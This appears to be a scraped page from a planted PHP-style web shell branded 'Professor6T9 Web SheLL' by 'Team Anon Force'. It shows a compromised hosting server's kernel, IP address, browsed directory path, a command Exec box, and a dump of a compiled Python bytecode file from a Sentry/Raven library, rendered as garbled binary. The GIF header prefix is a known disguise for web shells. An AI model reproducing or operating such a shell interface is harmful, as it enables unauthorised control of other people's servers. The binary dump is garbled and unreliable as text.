GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
LiteSpeed
69.57.162.12
/
opt
/
cloudlinux
/
venv
/
lib
/
python3.11
/
site-packages
/
raven
/
contrib
/
zerorpc
/
__pycache__
[ HOME ]
Exec
Submit
File Name : __init__.cpython-311.pyc
� � hR � �F � d Z ddlmZ ddlZddlmZ G d� de� � ZdS )z� raven.contrib.zerorpc ~~~~~~~~~~~~~~~~~~~~~ :copyright: (c) 2010-2013 by the Sentry Team, see AUTHORS for more details. :license: BSD, see LICENSE for more details. � )�absolute_importN)�Clientc � � e Zd ZdZdd�Zd� ZdS )�SentryMiddlewareal Sentry/Raven middleware for ZeroRPC. >>> import zerorpc >>> from raven.contrib.zerorpc import SentryMiddleware >>> sentry = SentryMiddleware(dsn='udp://..../') >>> zerorpc.Context.get_instance().register_middleware(sentry) Exceptions detected server-side in ZeroRPC will be submitted to Sentry (and propagated to the client as well). TNc �: � |pt di |��| _ || _ dS )a� Create a middleware object that can be injected in a ZeroRPC server. - hide_zerorpc_frames: modify the exception stacktrace to remove the internal zerorpc frames (True by default to make the stacktrace as readable as possible); - client: use an existing raven.Client object, otherwise one will be instantiated from the keyword arguments. N� )r �_sentry_client�_hide_zerorpc_frames)�self�hide_zerorpc_frames�client�kwargss �o/builddir/build/BUILD/cloudlinux-venv-1.0.8/venv/lib/python3.11/site-packages/raven/contrib/zerorpc/__init__.py�__init__zSentryMiddleware.__init__ s- � � %�8��(8�(8��(8�(8���$7��!�!�!� c �� � | j rO|d }|rE|j }d|j d<